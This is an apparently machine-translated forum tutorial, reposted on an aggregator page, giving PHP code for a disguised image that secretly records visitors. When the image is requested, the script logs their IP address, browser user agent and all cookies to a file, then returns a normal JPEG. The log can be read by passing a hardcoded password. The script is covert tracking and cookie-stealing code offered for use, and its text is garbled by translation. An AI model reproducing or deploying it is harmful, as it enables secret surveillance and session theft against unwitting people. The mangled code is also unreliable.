Using img to remotely call images to record visitors' browser information Operating systems

Source: Internet
Author: User
Judge the operating system I am too lazy to write regular expression to judge the people directly according to the browser information can know the http: // localhost/test. php $ passadmin this is viewing information password http://www.2cto.com/test.php? Passadmin can view the password $ filePath & amp; rsquo;./x ....
I am too lazy to write regular expressions to judge the operating system. now, you can know it directly based on the browser information.
 
Http: // localhost/test. php
 
$ Pass = admin: the password for viewing information
 
Http://www.2cto.com/test. php? Pass = admin
 
You can view the password.
$ FilePath = './x.txt'; // information storage address
Optional imageapps'x.jpg '; // you can select an image to read and output the image.
 
Date_default_timezone_set ('prc ');
$ Pass = 'admin ';
$ FilePath = './x.txt'; // information storage address
Export imageapps'x.jpg '; // name of the output image
If (@ $ _ GET ['pass'] = $ pass ){
$ Pics = file ($ filePath );
For ($ I = 0; $ I <count ($ pics); $ I ++)
{
Echo $ pics [$ I];
}
Exit;
} Else {
Header ("Content-type: image/jpeg ");
$ Ip = getip ();
$ USER_AGENT = $ _ SERVER ['http _ USER_AGENT '];
$ Data = date ("Y-m-d H: I: s", time ());
$ Content = 'Access IP: '. $ ip .'
Browser information: '. $ USER_AGENT .'
COOKIE:
';
Writeto ($ filePath, $ content );
Foreach ($ _ COOKIE as $ key => $ value ){
$ Content = $ key. '= '.html specialchars ($ value ).'
';
Writeto ($ filePath, $ content );
}
Writeto ($ filePath, 'Access Time: '. $ data .'
');
$ Pics = file ($ image );
For ($ I = 0; $ I <count ($ pics); $ I ++)
{
Echo $ pics [$ I];
}
}
Function getip (){
If (! Empty ($ _ SERVER ["HTTP_CLIENT_IP"]) {
$ Cip = $ _ SERVER ["HTTP_CLIENT_IP"];
} Else if (! Empty ($ _ SERVER ["HTTP_X_FORWARDED_FOR"]) {
$ Cip = $ _ SERVER ["HTTP_X_FORWARDED_FOR"];
} Else if (! Empty ($ _ SERVER ["REMOTE_ADDR"]) {
$ Cip = $ _ SERVER ["REMOTE_ADDR"];
} Else {
$ Cip = '';
}
Preg_match ("/[\ d \.] {7, 15}/", $ cip, $ cips );
$ Cip = isset ($ cips [0])? $ Cips [0]: 'Unknown ';
Unset ($ cips );
Return $ cip;
}
Function writeto ($ filePath, $ content ){
$ Path = fopen ($ filePath, 'A ');
Flock ($ path, LOCK_EX );
$ Result = fwrite ($ path, $ content );
Fclose ($ path );
Return $ result;
}
?>
 
Address: http://www.90sec.org/thread-1744-1-1.html

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.